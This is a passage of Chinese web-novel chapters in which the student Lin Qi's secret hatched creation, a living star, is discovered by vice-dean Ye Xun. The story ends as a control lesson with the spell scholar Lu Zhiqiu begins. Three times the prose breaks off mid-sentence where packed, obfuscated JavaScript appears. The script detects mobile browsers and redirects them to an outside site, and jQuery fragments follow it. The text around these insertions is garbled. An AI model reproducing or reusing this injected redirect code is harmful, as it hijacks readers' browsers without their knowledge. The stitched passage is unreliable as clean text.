沐夏自顾自地兴奋了一会儿,忽然想起什么,从兜里掏出一只巴掌大的笔记本,翻出个折起来的小纸条,“这是我总结的一点小技巧,回头你就按着这个捏,肯定不会裂的——我听说你的那个蛋胚裂开了,不过我问了卫老师,他说黏土还有,可以重做。” 林栖接过纸条,刚想说谢谢,就听到一阵滚轮声响。 走廊另一头的门开了,葛严拖着一只很大的行李箱走了出来,身后还跟着一个高高瘦瘦的中年人,似乎是来接他的家长。 沐夏抬手遮住嘴巴,小声道:“你知道吗?葛严退学了。” 林栖点了下头。 沐夏:“?” 你怎么又知道了? 难道回家两天是去上了什么八卦补习班吗?? 葛严原本低着头,经过两人身边时忽然把头抬高,“谁稀罕你们这破学校,圣城希临的学校比这好多了。” 沐夏虽然不清楚那边的学校什么样,但知道希临的一切总是好的,只能很无力地反驳:“好就好呗。” 葛严扬着下巴,拖长音道:“好多了——根本不是一个等级。” 这时走廊又有一扇房门打开,探出一颗毛绒绒的橘色脑袋。 姜宝宝打个哈欠开口,“都念叨好几天了,你累不累?再说我都怀疑你是不是不想走了。” 葛严正要反驳,就听旁边的中年人提醒道:“快点,已经耽误了不少时间,再晚就来不及了。” 葛严闭上嘴不吭声,姜宝宝笑着朝他挥手,“恭喜啊,圣城那么好,我们祝你一辈子待在圣城。” 葛严狠狠瞪他一眼,转身下楼。 等脚步声走远,姜宝宝像只橘猫一样伸个懒腰,又理了理挂在脖子上的护身符,走到两人身边,“葛严是上城土著,肯定不想走,虽然我爸也说现在学城不太安全,最好能搬去圣城,但是我也不想走,好麻烦。” 说完他揉揉眼睛看向林栖,“你要造物蛋么?我的那个可以给你。” 沐夏震惊:“这也能送人吗?” “怎么不能,我又无所谓。你要么?小林栖。” 小林栖…… “不用了谢谢。” “那晚安了~” 姜宝宝转头回屋,沐夏跟上去问:“这么早就睡,你作业写完了吗?” 听到“作业”两个字,姜宝宝仿佛被夹了尾巴一样,噌的一声窜回屋里,一把关了房门。 剩下两人各自回屋,大约半小时后,乐贤来找林栖,手心里托着一颗带壳的煮鸡蛋。 “晚上好,林栖,这个给你。” 林栖静了两秒,接过鸡蛋。 “晚上好,乐贤,谢谢你。” 乐贤完成任务,挥挥手就走了,还顺手帮林栖关了房门。 九点钟,助教程老师抱着一个大纸箱子过来敲门,里面是一人份的教科书和各种学习用品。简单说明之后,他把课程表和借书证交给祈越,说现在只安排了院系内的课程,要借书也只能到院馆,以后的公共课要再等安排。 第二天,林栖和祈越一起出门上课。 经过好些天的议论,现在所有人都觉得学校已经禁止林栖携带顶级造物,没想到才过了一个周末,居然又看到林栖把造物带过来了。 而且祈越就坐在林栖旁边一排,直到开始上课也没去教室后面把自己“寄存”起来。 什么情况? 八点整,许慎行准时上课。 刚把书打开,傅征就从座位上站了起来。 傅征很瘦,五官俊秀但眼神凶恶,肤色略深,衬得脸上那条蛇形胎记格外刺眼,上课时他总是和傅明熙坐在一起,今天也是一样。 傅征从傅明熙后排的座位起身,远远指着教室另一边的祈越,“造物为什么可以和我们坐在一起?” 许慎行抬了抬眼皮,“现在是讲课时间,不是提问时间。” “原来是您默许的吗?”傅征继续道,“那为什么林栖可以带着这种危险物品一起上课?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741080|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>话音刚落,坐在他们右手边的姜宝宝就超大声嘀咕:“怎么,只许你家少爷带跟班儿,就不许别人带教具吗?” 傅征立刻调转矛头,“你说谁?” 姜宝宝几乎枕在胳膊上,侧头看他,“你家少爷让你说话了吗?” 傅征冷冷看他一眼,又看向许慎行,“麻烦解释一下。” 许慎行颀长的手指在桌面交叠,“因为我批准了,作为院长,这点权力还是有的。” 傅征:“既然这样,那我们也能带吗?” 许慎行:“这话是替你自己说的吗?” 傅明熙和傅征是那种很典型的世家少爷带跟班,傅家财大气粗,为了能让傅明熙带着跟班一起上学,特意给傅征也弄了一件中级造物,让他也能通过补考。 就为了这种破事儿多占一个名额,许慎行简直深恶痛绝,但造院每年就这十个学生,既然招了,也只能好好教着。 傅征:“我是替所有同学说的。” 叶美心立刻道:“别算上我。” 姜宝宝:“我也不需要你替我操心。” 沐夏张了张嘴,但始终觉得在课上随便说话不好,就没出声。 傅明熙双手交叠在桌上,垂眸坐着,一脸云淡风轻,事不关己。 许慎行朝傅明熙扫了一眼,看向傅征:“有意见课下直接提,不要占用上课时间,以及,同学之间最好还是搞好关系,省得回头被怪物追着跑的时候,还要留神防着队友偷袭。” 许慎行这后半句话说的没头没尾,几乎所有人都没听懂,连傅明熙也抬眼等着听他解释。 不过许慎行没打算解释,只道:“上课,谁再有问题就给我站出去说。” 别人都不知道,但是沐夏知道啊! 模拟训练!模拟怪物! 林栖已经跟他说过了! 他有一种提前拿到剧透的兴奋,又想到林栖昨天的建议,恨不得立刻就去借书,怪物图鉴! 下课之后,许慎行叫学生挨个来领上周的考试成绩,林栖做对了一道选择题,得了两分。 课后卫老师在门口等他,欲言又止地说这一批的黏土都被拿走了,现在来不及重新准备材料,还要再等一段时间。 下午是材料课,工作台正对着那一排孵化箱,傅征起身拿材料时从孵化箱前路过,指着最边角的箱子问:“卫老师,箱子里的蛋胚好像少了一个,是已经孵出来了吗?但是今天好像还没到七天?” 其实所有人都听说了林栖孵化失败,傅征的问题显然是故意的。 卫老师回答得很含蓄:“这些设备已经用了很多年了,不太稳定,孵化出了一点问题。” 傅征:“那为什么别人都没出问题?” 卫老师依然保持微笑,“别人是别人,自己是自己,每个人的情况都是不一样的,从出生到长大,每一天,每一个小时都不一样,遇到的情况又怎么会都一样呢?要成为一名优秀的造物师,很重要的一点就是——” 他还没说完,傅征就打断道:“我听说孵化流可以测出一个人的造物天赋。” 这话一出,教室里气氛明显有些微妙,傅明熙手上拿着要处理的材料,朝林栖看了一眼。 傅征继续道:“那如果遇到孵化失败的情况,要怎么知道天赋呢?” 孵化失败当然等于天赋糟糕,所有人都是这样想的,只是不会当面说出来让人难堪。 沐夏搬救兵似的朝姜宝宝看了一眼,见他趴着睡着了,又担忧地望向林栖。 卫老师:“我刚刚话还没说完,要成为造物师,很重要的一点就是——关注自己。傅征同学,在关心别人之前,要先管好自己。” 傅征还要再说,却被一阵敲门声打断。 手工教室的大门发出“吱呀”一声。 下一秒,扎眼的朱红色上衣和银白色长发出现在众人视野中——叶寻从门缝里探进半个身子:“小鹦鹉,跟你借个学生。” 卫老师正在和学生讲道理,在这种时候被叫到外号,脸色难免一僵,“……叶副院长,有什么事吗?” 叶寻探着头,伸手作讨要状,“你把林栖借我用用,我要向他请教一下失败经验。” 45. 第 45 章 副院长办公室。 门牌上的字体严肃周正,门里却是一个乱到一眼看不到头的房间。 叶寻进屋之后,把年糕小人儿从茶几上抓到肩头,戳着它的脑袋道:“来,叫人,这位是小林同学。” 歪扭扭的年糕小人儿手上抓着一柄勺子,动动嘴巴开口:“姓林不吉利。” 叶寻在它头上拍了一下,“乱说话,谁教你的?” 年糕小人儿张着嘴,一脸不聪明的样子,呆呆望着叶寻,叶寻直接打开零食柜子,把它塞了进去,转身时笑着朝林栖道:“小孩子不懂事,瞎说的。” 林栖眨眨眼,站在一进门的位置不敢乱动,连呼吸都下意识地放轻了些,好像怕自己喘一口大气,就能引起雪崩。 在他旁边竖着一个书架,里面没几本书,塞满了各种抽屉和杂物,其中有个抽屉甚至还长了一棵绿萝,书架上层塞着几只铁皮箱子,隔板已经压变形了,看起来随时会断——房间主人似乎也发现了这个问题,用一只树形衣帽架顶着隔板边缘。 那棵绿萝的嫩枝已经长到了衣帽架上,而衣帽架左侧堆满了书,从地面开始,一直往上摞了接近两米。书山好似斜塔,侧面用一杆佝偻的落地台灯顶着,台灯脚下还踩了一包零食,袋子鼓得发亮,似乎随时都会爆开。 林栖忍不住脑补了一出灾害现场,袋子爆开——台灯栽倒——书山滑坡——衣帽架折断——书架塌方…… “这边这边~”叶寻已经走到办公桌旁,回头朝林栖招了招手。 林栖挪着步子走过去,看到窗前也堆了好多杂物,窗帘豁口处的纸箱里塞着一棵仙人掌,根系已经顺着纸箱底部的破口穿了出来,扎到了纸面上。 好坚强…… 看到办公桌时,林栖顿觉眼前一亮。 桌子是正常的——连同它后方的椅子和储物架一起,都整齐得像是被移植在这间屋子里的。 桌上没有任何杂物,处于工作状态,桌面正中垫着一块手工案板,上面摆了七八个捏好的黑色蛋胚,有的稍圆一点,有的稍长一点,但区别不大,如果是真的蛋,那肯定也是从同一个窝里摸出来的。 叶寻不知从哪摸出一杯奶茶,叼着吸管嘬了两口,“你看这些蛋,哪个最像你捏的那个?” 林栖看着那些蛋,沉默。 他觉得都差不多。 奶茶见底,吸管发出“咻咻”的空气声,叶寻放下杯子,“你就选个最顺眼的。” 好吧。 林栖凭感觉选了一颗。 叶寻搓搓手,很小心地把那颗经过林栖亲自认证的蛋捧了起来,单独放到旁边的托盘里,接着又从架子上拿出三份木茧粉让林栖看。 三份用的都是同一批材料,只有研磨方式稍有区别。林栖选完之后,叶寻又问:“你当时是怎么滚的?我现在先拿备用蛋滚给你看,我滚三次,你看看哪个感觉最对。” 于是,接下来的两分钟里,林栖就这样默默站着看叶寻“滚蛋”。 这位叶副院长似乎真的很想尝尝孵化失败的滋味。 现在完全是按照他之前的步骤复刻。 很合理,但是,他并没有孵化失败。 林栖觉得自己应该告诉叶副院长,这个研究的前提其实并不成立,但…… 他已经把星星的事作为秘密交换出去了。 虽然谁也没规定一个秘密不能告诉两个人,但他只要一想到还要把这件事告诉别人,心里就有些抵触。 仿佛是要拿同一份礼物送给两个人。 感觉很奇怪。 还莫名的有点心虚…… 可能因为心虚,林栖脑子里忽然冒出了祈越的声音:你已经告诉我了,就不能再告诉别人。 但是祈越会这样说话吗? 好像不会。 祈越的语气大概是这样的:不是秘密么?怎么还能告诉别人?他拿什么跟你换了?哦,原来我跟你说的那些这么不值钱吗? “小林同学~~林栖?”叶寻的声音像一把扇子,扇跑了那个在林栖脑子里念叨的祈越,“看清楚了吗?1、2、3,选哪个?” “选……”林栖思考片刻,刚要开口,祈越的声音又凉飕飕地冒了出来:选什么选。 林栖:“……” 林栖在办公室待了十几分钟,叶寻把能问的都问了,还是总觉得少点什么。送走林栖之后,他盯着那颗沾满木茧粉的造物蛋,经过一番沉思,又在下课之后回到手工教室,拆走了林栖用过的孵化箱。 这样就差不多了。 虽然世界上没有两颗完全一样的造物蛋,就算看着再像,也孵不出一样的东西,但可以通过孵化过程推测结果。 他实在很好奇。 林栖那颗蛋里到底孵了什么? 而且如果真是中级造物,孵化之后应该会主动去找造物师,那么林栖已经见到它了。 他把它藏在哪儿了? 小林同学年纪还小,这是他的第一件造物,又是孵出来的,那么有趣,正常都会想带在身边吧? 可是看他刚才的反应,又不像是身上藏了什么小秘密的样子。 好难猜啊…… 从这天开始,叶寻每天都在等着自己的蛋胚开裂,然而四天过去,他的蛋胚不但没有开裂,还仿佛从误入歧途到回归正轨,看着一天比一天正常。 蛋胚因为干燥过程而略微小了一圈,表面虽然沾了木茧粉末,但还是逐渐透出半哑光的蛋壳质感,这代表着黏土表面正在形成一层壳状结构,而蛋体内部已经开始出现空腔。 正常孵化……这就不太对了。 周日,孵化第六天,许慎行到他屋里转了一圈,看到他这个造物蛋,叹气道:“果然还是人的问题,都是一样的配方,林栖那个裂了,你这个就能正常孵化。” 叶寻也跟着叹气,心道你不知道我有多想让它开裂。 许慎行瞪他一眼,“话又说回来,你研究就研究,干嘛当着所有人把林栖叫出去,又说什么找他请教失败经验,自己听听,是人话吗?你让人家孩子听了心里怎么想?” 叶寻又在心里嘀咕:人家孩子可厉害着呢,三天就把造物孵出来了,而且到现在都没被发现。 又过了两天,周二中午,叶寻的造物蛋里孵出来了一个灯泡。 小灯泡,椭圆形,只有指节那么大。 但是它不会亮。 叶寻以前也遇到过类似的情况,先找了万用电池,又接了电线,但没用,灯泡就是不亮。 好像是个坏的。 这就很无语了。 孵化流和别的流派不一样,是有点“说法”在里面的,除了测试造物师潜力之外,这种随机性的创造从形式上也很像心理测试,可以反应出造物师当下的状态,以及某些潜意识。 一只不会亮的灯泡寓意可不太好。 核心功能失灵,对应在人身上,可以代表造物师失去创作能力,也可以更深一层…… 就在叶寻分心关注自己心理健康和运势走向的时候,到了晚上,这颗白天怎么都不亮的灯泡忽然又会亮了。 叶寻只愣了一会儿就接受了这个事实,因为灯泡就是应该晚上亮的。 可还没等他彻底明白,灯泡又熄灭了。 这次是彻底不会亮了。 它虽然是个灯泡,有亮的功能,但没有配套的灯,没有位置装电池也不能接线,所以只能亮一次。 这个寓意似乎也不是很好…… 叶寻决定,一定要给它配个能用的灯。 等等,所以林栖那个蛋胚上的裂缝其实是为了透光?放射状的细线也对应了“光线”这个意象。 但是奇怪,既然他这边是个灯泡,那林栖那边什么情况,一只长了八条腿的灯泡?运动发电? 叶寻觉得自己想法很有创意,但是,他的灯泡完全没有生物属性,林栖那边孵出来的东西应该也不会长腿乱跑。 会不会是摔碎了没发现?这念头算是没头绪时的胡思乱想,却让叶寻自动脑补出了灯泡摔碎时的画面,而且画面里的灯泡是亮着的,玻璃外壳破碎之后,剩下的就是一团不被拘束的光。 叶寻被自己的想法惊了一下,瞬间坐直,随即又放松下来,闭着眼睛摇了摇头。 不可能不可能,怎么可能从泥巴蛋里孵出一团光呢? 他继续想那只长了八条腿的灯泡,没想明白,又发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749973|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散思维猜了两天,没头绪,最后实在忍不住,又在下午的基础课上把林栖“借”了过来。 这次的理由是“经验反馈”。进屋之后,他很大方地给林栖看了自己孵出来的一次性灯泡,问林栖有什么看法,结果林栖问他:“这算失败了吗?” 脸上的表情似乎还带着一点关心,仿佛在问:你的奇葩愿望达成了吗? 叶寻不再废话,笑着向前探了探身,“小林同学,我知道你的造物蛋孵出来了,告诉我是什么,我就帮你保密。” 林栖:“……” 怎么知道的。 叶寻拖着一个凳子在林栖面前坐下,小声道:“我也知道你是林家人,这件事也一样会帮你保密。” 林栖捏了捏手指,“你知道林家的事?” “知道一些。”叶寻在说“一些”的时候,语气明显意味深长。 林栖静静看他,片刻,点了下头,“我可以告诉你,但你要用林家的事跟我交换,如果说了我已经知道的事,就要再说一个。” 叶寻笑着点头,“好~小林同学很会讨价还价,不过我这里刚好有一件事,应该是你想知道的。” 林栖:“那你说。” 这是默认了让叶寻先说,叶寻也不计较,毕竟他这边可以用来交换的消息很多。 “观沄是你监护人,我家跟他家沾着点亲,我刚好知道一些关于他的情况。”叶寻一边说,一边观察林栖表情,提到观沄,这位小林同学眼神果然不一样了。 他继续道:“我猜,是观沄主动找到你的对吗?我不知道你之前住在哪里,但应该是个比较隐蔽的地方,别人都找不到的那种,但他还是找到你了,在某一天,突然就出现了,就好像他早就知道你在那里。” 林栖没说话,只手指在身侧悄悄捏紧。 “观沄以前在这里念书的时候,有个同学也是姓林,他们关系很好,但后来,这位姓林的同学失踪了,观沄一直都在找他。我猜他有某种方法可以找到林家人,但没办法具体到某一个人。” 所以才会找到林鹭和我……林栖觉得叶寻说的都是真的。 “把我说的这些话告诉观沄也没关系,他大概也猜到了我会知道这些。”叶寻说着,把凳子往前挪了挪,“所以到底是什么?快说,很急,不然我今天又要睡不着了。” 林栖想着观沄的事,有点心不在焉,“一颗星星。” “星星?”叶寻怔了一瞬,随即了然,“星星灯是不是?过节用的那种。” 林栖摇头,“不是灯,只是星星。” 这次叶寻脸色突变,连声音都陡然高了一个八度,“你说天上那种星星??” “不是。”林栖眼中透出不解,“怎么可能是天上的星星。” 那可是恒星。 叶寻略带尴尬地松了口气,真是,想什么呢,怎么可能是天上的星星,他问:“那具体是什么样的星星?” 林栖:“是五角星。” 不是……我没问这个…… 叶寻果然不适合教书,每次和小孩儿交流都觉得十分心累,“它是什么样的星星?具体一点,什么材质?玻璃的?金属的?还是什么?” 林栖也露出了一种觉得交流很困难的表情,“没有材质,就是一颗星星。” 他觉得自己已经说得很清楚了。 他的星星是一颗很标准的星,一个人只要看到“星星”两个字,闭上眼睛想象,就能知道他的那颗星星是什么样子。 他向叶寻建议:“你可以闭上眼睛脑补一下。” 叶寻:“?” 不,他不想脑补,他已经脑补一礼拜了,也只能脑补出一只长了八条腿的灯泡。 “那你的星星在哪儿?给我看看?” 林栖脱口而出:“不行。” “为什么?” 林栖抿着嘴唇不说话,他其实已经有点后悔了,虽然是这个人先发现的,不是他主动说的,也拿信息做了交换…… 而且他只是说明,并没有真的把星星拿给这个人看…… 但还是有点心虚。 虽然不算一份礼物送给两个人,但他还是觉得自己给别人看了礼物上的贺卡。 46. 第 46 章 林栖拒绝之后,叶寻没再多问,林栖以为这件事就算过去了,然而到了晚上,八点钟,生活老师却来敲门说叶副院长找他,就在楼下等着。 这时间祈越还在造院,自从开始上课,他就改用晚上的时间修理造物,大约要到九点才会回来。可气的是,即使这样,祈越还是会比林栖先完成当天的作业,总有理由说他一句:“好慢。” 虽然时间还早,但林栖还是在桌上留了一张字条。 叶寻站在路灯下,低头鼓捣着什么,等林栖来了,就叫他伸手,朝他手心里丢了一颗用青草叶编出来的星星。 显然还是为着下午没聊完的话题来的,开口却不提星星,只道:“小鹦鹉跟我说,你们班的小乐同学孵出来了一块手表,你见过吗?” 林栖见过,乐贤的造物蛋是在第九天孵出来的,“手表”的表盘是一块透明的半球形,和他平时戴的那只卡通手表很像,但里面没有指针也没有数字,而是一片蓝汪汪的天空,上面飘着几朵奶油状的白云。 这栋公寓楼位于住宿区的边角,穿过小路就是一片低矮山坡,绿草长成地毯,一到夏天,就有学生跑来看着星星睡觉,最近因为怪物的事,坡上没人,很适合晚上散步,也不怕一不小心踩着谁的脑袋。 叶寻似乎不想聊天有人打扰,很自然地避开路灯往山坡上走,“孵蛋既好玩,又简单,但不常用,知道为什么吗?” 林栖点头,这个问题概论课上讲过,造物的核心属性是功能,一般流程是先确定功能再设计造物,而孵化流是先孵出造物再确定功能。 有些时候根本无法确定功能,严格来说,也就不算造物。 用许慎行的话讲,这个流派是典型的本末倒置,体验一下就行了,没必要深入研究。 当时林栖就想,也许他的星星根本没有功能,也不算造物,但没关系,他一样觉得它很可爱。 叶寻继续:“一块可以显示天气的手表,是不是会让人想到天气预报?每天早上睁眼往自己手上一看,呀~有乌云,今天下雨,那我带个伞吧,是不是感觉很实用?” 林栖没想过这个问题,只是觉得乐贤果然很喜欢手表。 “据我观察,小乐同学和别人不太一样,他有一套独属于自己的表达方式,别人很难看懂。” 林栖很清楚这点,等着听他继续往下说。 叶寻望着星空向前走,语速略微放缓,顿时少了一些轻佻,多了几分沉稳,“天气是人心的隐喻——晴天、多云、连绵阴雨、电闪雷鸣……每一种都可以代表不一样的心情。我猜,当小乐同学心情很好的时候,他的手表上会出现一颗太阳,而当他心情不好,又会出现一片乌云——如果他自己无法表达,他的造物就会替他表达。” 林栖停下脚步,山坡上笼着一层月光,和远处零星的灯光共同交织成朦胧的底色,他听见叶寻继续道:“而星星象征着‘希望’和‘指引’。” 耳旁有风吹过,风声像是一只手揭开薄纱时的轻响。 “所以,小林同学——”叶寻转过头来,眼中含着一弯浅笑,“你是在找什么吗?” 林栖被问得怔住了。 星星象征着希望和指引…… 叶寻像是猜到他会有这种反应,目光只在他脸上停了一瞬就扫向四周。 这个位置很好,光线暗,干扰少,很适合找那种会发光的物体,如果这会儿林栖身边真的有一颗星星跟着,那么不管是揣在口袋里,还是藏在草地里,应该都很容易看到。 然而没有。 叶寻看了一圈,也没看到任何疑似五角星的东西。 叶寻:“……” 为了转移林栖注意,他还特意编了这一堆话…… 这边叶寻心思有99%都用在找星星上,剩下1%也没浪费,仿佛很正经地随口说了一些星星的延伸意象——命运、归宿、孤独、自我、遥不可及之类。 脚下山坡逐渐变缓,止步于一盏低矮的路灯。 路走完了。 叶寻很想试着再问一次,真的不能把你那颗星星给我看一眼吗?我能现场给你再编几千字的意象延展和心理分析。 但路灯照着眼前人影瘦小伶仃,连影子都细细的仿佛一折就断,叶寻肚子里的话在嘴里转了个向,出来就变成了,“天凉了,想要一个温暖的抱抱吗?” 他不止说,还很大方地张开双臂,上下晃了两下。 可接着就见林栖往后退了半步,看他的眼神顿时有些奇怪。 叶寻:“……” 自己这样好像是有点像人贩子…… 叶寻手臂晃成波浪状,原地扇了两下翅膀,“不要算了,那再见吧小林同学。” 转身时,有只蚂蚱撞在灯上,“咚”的一声,叶寻下意识抬眼去看那只倒霉蚂蚱,视线却在抬到最高点时突兀一顿。 灯泡上…… 灯泡上有一颗星星。 一二三四五……没错,是林栖说的五角星。 叶寻脑中“唰”的一下清空杂物,在意识到自己愣住的一瞬间,已经收回视线,心念电转,这不是巧合,星星是跟着林栖来的。 它能自己移动。 接着,他又想到了曾经一瞬间出现在自己脑海中的画面——那只被摔碎的灯泡,和那一团不受拘束的光。 他猜对了。 原来早就猜出来了。 果然应该相信直觉。 “啊等等,我还是送你到楼下吧。”叶寻撤回了刚刚说出口的再见,又原地转了个身,跟着林栖一起往前走,假装无事发生。 他一边走一边观察,发现那颗星星果然在跟着他们,不断从一盏路灯跳到另一盏路灯。 它没有实体。 真的是一颗星星…… 在走过几个路灯之后,叶寻缓缓愣住,就好像一层一层加高堤坝之后,洪水最终还是倾泻下来。 现在他明白林栖为什么会让他闭上眼睛脑补了。 概念造物,本质是光,不在分级体系内,而且相似个例太少,根本无法类比,如果让他联想,他唯一能想到的就只有“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759138|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑魔”“白魔”那种说出去都没人信的东西…… 而且相比之下,他个人更喜欢这颗星星。 完蛋了,这位小林同学好像真的是个天才。 叶寻不记得自己是怎么走回去的,只知道他在跟林栖分开之后,还是忍不住地看了好多路灯,结果现在他也有自己的星星了——眼冒金星。 走到四楼走廊时,他正盯着一盏挂灯研究,思考自己的一次性灯泡要怎么才有可能变成一颗星星,忽然就听一道冷飕飕的声音从背后传来—— “怎么回事?你怎么又在上课时间把林栖给叫走了?” 他现在还不想说话,却被许慎行一把抓进了办公室,“来来,我得跟你多说几句。” 房门一关,许慎行就撇着嘴巴开始数落,“你对林栖到底有什么意见?就算他成绩不好,也没让你操心吧,干嘛一次两次的戳人家心窝子?孵化失败是什么好事儿吗?天天说天天说,这都过去多久了,你看别的老师有人提吗?卫老师说什么了吗?林栖虽然天赋差点,但是个认真的好孩子,每次作业都给我好好完成……” “老师~~”叶寻忽然打断。 “干嘛?有屁快放。”许慎行抬眼瞪他,突然被叫老师准没好事。 “您的眼镜可能该换换了。”叶寻抬起一根食指,关切地朝许慎行那两汪黑眼圈上指了指。 “什么意思?”许慎行把他爪子拍开。 “您最近是不是睡得太少,视力下降有点严重?”叶寻在心里补充,多少有点瞎吧。 虽然瞎点也好。 对林栖来说,做个笨蛋才是最安全的。 许慎行把话题拉回来,叶寻又胡扯过去,成功地让一场聊天不欢而散。 “算了,懒得跟你多说。”许慎行一边数落一边往外走,“马上就是模拟训练,林栖带着个顶级造物我不放心,得赶快把控制课安排一下,眼下到处都是事儿,你还给我添乱!实在闲了就好好做点东西,别又给我乱搞什么年糕汤圆!” 许慎行是个急脾气,原定在下周的控制课被提前到了周五。 为了保证效果,他特意请了咒院帮忙,地点也安排在那边,借了一间控制练习专用的训练教室。前几节课会由咒院那边的老师主导进行,造院这边的助教程明只是陪同辅助。 课程安排下来之后,程明找到林栖和祈越,特意嘱咐:“这次的任课老师是咒院那边很有名的一位教授,许院长特意请的,老师姓陆,你们可能不认识他,但应该听说过枫城陆家。” 林栖没听说过,正想着要不要问,就听祈越的声音从身后传来。 “枫城,陆家。” 他声音明显比平时低,咬字也有些生硬,仿佛这几个字很重,要磨碎了才能勉强从齿缝里挤出来。 “对对,就是那个很有名的陆家,不是都说吗,一本咒术史,至少有半本姓陆。不过——”程明笑着皱了皱鼻子,“他们咒院祖传脾气不好,到时候过去了,千万要少说话,客气一点,当然,对你我是很放心的,就是提醒一下。” 47. 第 47 章 程明走后,一时无人说话,林栖能感觉到空气有种异样的静,祈越站在窗前,似乎一切如常,身影却像被背后那一片明亮的阳光淹没,模糊黯淡下去。 林栖和他隔着一段距离,犹豫开口:“陆家怎么了吗?” 声音很轻,却像落在刚凝结的冰面,在沉寂的空气中破开蛛网般的裂纹。 祈越视线在林栖身上顿了片刻,眸光深处似有脚步经过荒芜废墟,于门前停驻一瞬,又在触碰之前转身,只留下一点枯草摇曳的残响。 “没怎么。”少年垂下眼睫,语气很淡,“很有名的咒术世家。” 林栖看不清祈越脸上的表情和眼睛里的情绪,这一刻,他觉得祈越模糊而遥远,不再是一棵扎手却能碰得到的仙人掌,而是镜中的一个影子,就算伸手,也只能触到凉冰冰的镜面。 沉默中,林栖心里有什么晃了一下,像从水底不透光的角落泛起一串气泡,许慎行说过的话就这样冒了出来——对造物师来说,单靠署名远远不够,如果你想真正拥有一件造物,就必须学会控制。 拥有…… 如果拥有,就不会隔着一层镜面触碰不到…… 意识到自己在想什么时,林栖身上忽然泛起一层冷风吹透般的颤栗,紧接着手心有些发烫。 不是的。 不是这样。 他有些慌乱地在心里摇头。 他不想控制祈越。 …… 控制课定在周五下午六点。 咒术学院,教学楼负一楼,控制训练室。 距离课程开始还有十分钟,任课老师陆知秋正在检查场地。 陆知秋穿着一身浅灰,只领口以同色锈有陆家纹章,除此之外别无装饰,低调淡泊,气质沉稳,和二十八岁的年纪略显不符。 他身后还跟着一个男孩儿,也穿了一身浅灰,走路时背着双手,姿势像个老学究,嘴里却叽叽喳喳说个不停。 “小叔叔,一节课要多久啊?我想回去了。”男孩儿名叫“淅川”,未满12,名字没上族谱,严格来说,他虽然是陆家人,但还不姓陆。 11岁同样还不到入学年纪,他今天是跟着自家叔叔过来玩的。 “又不想看顶级造物了?”陆知秋抬手,袖口散出一点质地清雅的木香,指尖在墙壁上按了按,姿态从容,仿佛不是在准备课程,而是在游园赏花。 “又不是没见过。” “那你还非要跟来?” “之前听说咒院难考,我以为会很好玩的,能看到一些和家里不一样的东西,结果好没意思……”淅川左右晃晃脑袋,嘴巴撅成鸭子。 “对别人来说当然难考。”陆知秋脚步稍停,语调沉缓,“你现在基础学得差不多了,是不是觉得,只要不涉及‘契术’就没有什么难的?” “本来就是嘛。”淅川低着头,踢了踢脚尖,小声反驳。 陆知秋半真半假地板起脸色,“那你让别人怎么想?” “契术”源自家族传承,没有就是没有,不像“本术”那样可以后天努力。而契术和本术的差异又犹如有源的江河对比无源的水洼,这是咒术常识,但心里知道是一回事,嘴上说出来又是另一回事。 “听说晚上有个集市,小叔叔,我们早点走,顺便去逛一下吧?”淅川笑着把话题岔开。 几分钟后,助教程明带着林栖和祈越来到训练教室,见到淅川时明显有些意外,没想到控制课还会有外人在场。 毕竟控制咒是用在顶级造物身上,其中细节关乎造物安全,知道的人越少越好,许慎行还特意交代,让他避嫌,把林栖送来就到外面等着。 寒暄过后,程明斟酌着问了一句:“这位是陆教授您的学生吗?” 陆知秋在淅川头顶轻轻一抚,“这是我本家的一个小辈,今天刚好在这儿。” 淅川礼貌地垂着眼睫,朝程明点了下头,接着后退半步,安静站好。 陆知秋这句话仿佛解释了,又仿佛什么都没说,程明虽然心里嘀咕,但也不好反问你家小辈跟控制课有关系吗?在这儿干嘛?为什么这么刚好? “原来是这样。”他干笑着回了一句,心里纠结,自己要不要也留下来算了?否则事后院长追问起来,他什么都不知道,更没法交代。 “那我们就开始吧,结束之后可以多留一点时间提问。另外,为了尽可能帮这位同学降低学习难度,今天我会使用咒书。”陆知秋目光掠过程明,看向林栖,“你的这件造物有名字吗?” 当然有,但林栖对这种提问方式有些抵触,一瞬间的反应是抿唇而不是直接回答问题。 接着就听陆知秋道:“没有也没关系。” 陆知秋左手悬在身前,掌心托着一本略显古旧的书,黑色封皮的书脊上打着暗银色的家族纹章,拇指轻触边缘,书页自动翻开,似有风拂过,于四五页后停住。 纸面边角掠起薄薄一片红色,似一张古旧半透的朱砂纸,于上方半米悬停。 陆知秋朝祈越看了一眼,平缓说出两个字:“折锋。” 